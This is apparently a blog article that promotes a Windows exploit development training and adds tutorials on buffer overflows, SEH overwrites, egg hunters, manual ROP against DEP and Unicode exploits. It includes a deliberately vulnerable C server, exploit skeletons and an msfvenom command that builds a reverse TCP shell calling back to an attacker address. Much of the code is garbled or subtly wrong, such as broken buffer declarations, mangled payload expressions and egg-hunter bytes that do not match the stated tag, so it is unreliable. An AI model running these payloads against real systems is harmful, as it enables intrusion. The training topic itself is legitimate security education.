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Introduction:
Windows exploit development remains a critical skill for security researchers and red teamers, as modern protections like ASLR, DEP, and CFG continue to evolve. Alexandre Borges’ newly opened “Windows Exploit Development 1” training promises a deep, technical dive from basic buffer overflows to manual ROP chains, all backed by a uniquely physical kit and real-time instruction. This article extracts the course’s core topics and provides practical, step‑by‑step guides for each major exploit technique, including commands and code snippets for both Linux (as attack host) and Windows (target lab).
Learning Objectives:
– Understand and bypass Windows exploit mitigations (GS, DEP, ASLR, SEHOP, CFG) using manual and automated ROP.
– Implement classic and custom egg hunters across x86 and x64 Windows versions (Win7 to Win10).
– Develop reliable exploits for real-world vulnerabilities, including Unicode-based attacks and SEH overwrites.
You Should Know:
1. Setting Up Your Windows Exploit Lab (VM + Debuggers)
A proper lab isolates your host and provides controlled crash reproduction. Use VMware or VirtualBox with Windows 7 x86 (for legacy SEH/egg hunter exercises) and Windows 10 x64 (for modern ROP). Install the following tools on the Windows target:
– Immunity Debugger + mona.py (put mona.py in `C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands`)
– WinDbg (from Windows SDK) for kernel‑mode or advanced user‑mode debugging
– Metasploit `msfvenom` on Kali Linux for payload generation
– Python 2.7 (still used for many exploit skeletons) or Python 3 with `pwntools`
Linux attack host commands (generate a test pattern and vulnerable server):
Install essential tools on Kali
sudo apt update && sudo apt install -y mingw-w64 wine python3-pip
pip3 install pwntools
Create a vulnerable Windows TCP server (compile with mingw)
cat > vuln_server.c << EOF
include <stdio.h>
include <string.h>
include <winsock2.h>
pragma comment(lib, "ws2_32.lib")
void overflow(char input) {
char buffer[bash];
strcpy(buffer, input); // no bounds check
}
int main() {
// socket setup omitted for brevity
recv(client, buffer, 500, 0);
overflow(buffer);
}
EOF
x86_64-w64-mingw32-gcc vuln_server.c -o vuln_server.exe -lws2_32
Windows verification – attach Immunity Debugger to the server process, send a long string of “A”s using a Python script, and observe the EIP overwrite (41414141). This confirms basic overflow control.
2. Basic Buffer Overflow – Controlling EIP and Bypassing /GS
Modern Windows compilers enable Stack Cookie (`/GS`) by default, but for basic overflow exercises we disable it (`/GS-`). Steps to gain EIP control:
1. Fuzz the target to find crash length. Use pattern_create and pattern_offset from Metasploit.
2. Locate the offset where EIP is overwritten.
3. Confirm with unique pattern:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
4. Find a `jmp esp` instruction in a non‑ASLR module (e.g., `user32.dll` on Win7 x86). Use mona:
!mona modules !mona find -type instr -s "jmp esp" -m user32.dll
5. Generate shellcode (reverse TCP):
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f python -b '\x00\x0a\x0d'
6. Exploit skeleton (Python):
offset = 146
jmp_esp = 0x12345678 address from mona
payload = b"A"offset + struct.pack("<I", jmp_esp) + b"\x90"16 + shellcode
Step‑by‑step debugging – Set a breakpoint on `jmp esp` after sending payload. Verify that ESP points to your NOP sled + shellcode. Single‑step to execute shellcode.
3. SEH Exploitation – Bypassing /GS and SafeSEH
Structured Exception Handling (SEH) overwrite is used when /GS prevents direct EIP control. The exception handler pointer resides on the stack before the stack cookie. Steps:
1. Crash the app and note that `pop pop ret` sequence from an unloaded module is required.
2. Use mona to find a suitable `pop pop ret` (e.g., `!mona seh`).
3. Overwrite the handler with the address of a `pop pop ret` that jumps to your payload in the exception registration record.
4. Craft the exploit – typical layout: [junk up to SEH record] [POP POP RET addr] [short jump to shellcode] [nops + shellcode].
5. Test on Win7 x86 (SafeSEH may block some modules; use modules compiled without it).
Example offset for SEH (200 bytes before handler)
payload = b"A"200 + struct.pack("<I", pop_pop_ret) + b"\xeb\x10\x90\x90" + b"C"100
Mitigation check – After exploitation, verify that the exception chain is overwritten but execution lands in your short jump. Use `!mona seh` again to confirm the module is not SafeSEH protected.
4. Egg Hunter – Win7, Win10 x86/x64
Egg hunters are used when you have a small overflow buffer but can store a large payload elsewhere in memory. The hunter searches for a unique tag (e.g., “w00t”) and executes the payload.
Classic x86 egg hunter (Skape’s approach) size ~32 bytes:
egg_hunter: push 0x0 push 0x0 mov eax, 0x74726c75 ; "w00t" mov edi, esp scasd je found inc edi jmp ...
Customizing for Win10 x64 – The 64‑bit hunter must avoid null bytes and use `syscall` instead of `int 0x2e`. Example using `NtDisplayString`:
// Portable egg hunter shellcode for x64 (compile with NASM) bits 64 hunter: xor rdx, rdx mov rbx, 0x77503057 ; egg "WP0W" ...
Implementation steps:
1. Place your large shellcode with the egg tag twice (e.g., `b”w00tw00t” + shellcode`) at a known memory region (heap, stack).
2. Insert the egg hunter as the initial payload in the overflow.
3. Run the exploit – the hunter searches memory from low to high; once found, it jumps into the shellcode.
Testing on Win10 x64 – Use `!mona find` to locate a writable memory range. Ensure DEP is off or you use ROP to make the hunter executable.
5. ROP – Manual Chain Construction Against DEP
Return‑Oriented Programming (ROP) bypasses DEP by chaining small instruction sequences (gadgets) ending in `ret`. Manual ROP on Windows requires:
– Finding gadgets – Use `!mona rop` or `rp++` (`rp++ -r exe -f “C:\Windows\System32\kernel32.dll”`).
– VirtualAlloc gadget chain to make a memory region RWX, then copy shellcode.
– Step‑by‑step manual ROP (Win10 x64, DEP enabled):
1. Identify a pivot – Move ESP to a controlled buffer (e.g., `xchg eax, esp ; ret`).
2. Find gadgets to set up VirtualAlloc arguments (address = NULL, size = 0x1000, allocation type = 0x3000, protection = 0x40).
3. Call VirtualAlloc via `call [ptr to IAT]` or using `jmp [ebp+…]` gadgets.
4. Copy shellcode using `memcpy` or a loop gadget.
5. Jump to allocated executable region.
Example manual ROP chain snippet (using Python to pack addresses):
rop = [ pop_rcx_gadget, 0x00000000, lpAddress = NULL pop_rdx_gadget, 0x00001000, dwSize = 4096 pop_r8_gadget, 0x00003000, flAllocationType = MEM_COMMIT|MEM_RESERVE pop_r9_gadget, 0x00000040, flProtect = PAGE_EXECUTE_READWRITE virtualalloc_ptr, call VirtualAlloc after return, RAX holds allocated address; now copy shellcode pop_rsi_gadget, 0xdeadbeef, source (our shellcode location) pop_rdi_gadget, rax, destination (new RWX memory) rep_movsb_gadget rep movsb with RCX length ]
Automated ROP – Mona’s `!mona rop` can generate a chain for common Windows DLLs, but manual tweaking is required for exotic targets.
6. Unicode Exploits – Transforming Payloads with Wide Strings
When the target converts ASCII input to UTF‑16 (Unicode), exploit bytes are interleaved with nulls (`A` becomes `A\x00`). This breaks standard shellcode. Workarounds:
– Use alphanumeric shellcode that only contains bytes that survive transformation (e.g., `0x41`–`0x5A`, `0x61`–`0x7A`, `0x30`–`0x39`). `msfvenom` with `-e x86/alpha_mixed` can generate it.
– Addresses must be encoded – For example, `0x00401020` becomes `0x20 0x10 0x40 0x00`; the null at the end may truncate. Use modules with base addresses containing only non‑null UTF‑16 bytes (e.g., `0x00410041`).
– Step‑by‑step Unicode exploit on IIS or custom app:
1. Confirm that input is stored as `WCHAR`.
2. Use `!mona compare` to find a pattern offset in the wide buffer (each character two bytes).
3. Build a ROP chain where every gadget address is composed of bytes < 0x100 (no null upper byte).
4. Test with `msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_mixed -f python`.
Common mistake – Do not use `jmp esp` because the stack may contain nulls; instead use a `call dword ptr [bash]` that points to a wide-friendly module.
What Undercode Say:
– Key Takeaway 1: A physical, meticulously prepared training kit (printed material, custom box, shirt) combined with real‑time instruction creates a learning environment far superior to purely online courses, especially for low‑level topics like exploit development.
– Key Takeaway 2: The course’s progression from basic stack overflows to manual ROP and Unicode attacks mirrors the real‑world attacker’s journey – you must understand legacy vulnerabilities (SEH, egg hunters) before tackling modern mitigations on Windows 10/11.
Analysis (≈10 lines):
Alexandre Borges’ Blackstorm Security training stands out by refusing to cut corners. While many exploit courses rush through theory, this one dedicates entire sections to customizing egg hunters for Win10 x64 – a notoriously tricky area because of kernel32 address changes and strict CFG. The inclusion of printed material delivered to the student’s home is almost nostalgic but surprisingly effective for note‑heavy subjects like ROP gadget discovery. By separating automated vs. manual ROP, they acknowledge that real exploits often require hand‑tuned chains. The promise of post‑training Q&A on any topic ensures that students don’t get stuck after the live sessions end. However, the lack of explicit kernel or browser exploitation might leave advanced students wanting more. Overall, this is a top‑tier deep dive for junior researchers ready to move beyond Metasploit.
Prediction:
– +1 Demand for hands‑on Windows exploit training will rise as more organizations adopt purple teaming; courses like this that include physical materials and follow‑up support will command premium pricing.
– +1 Manual ROP and Unicode exploitation skills will become even more critical as AI‑generated exploits become common – automated tools still fail at constrained environments, creating a niche for human experts.
– -1 Microsoft’s continued hardening (e.g., hardware‑enforced Stack Protection, Arbitrary Code Guard) may render some classic techniques (SEH, egg hunters) obsolete within two years, forcing course updates to focus on kernel bypasses and hypervisor‑based attacks.
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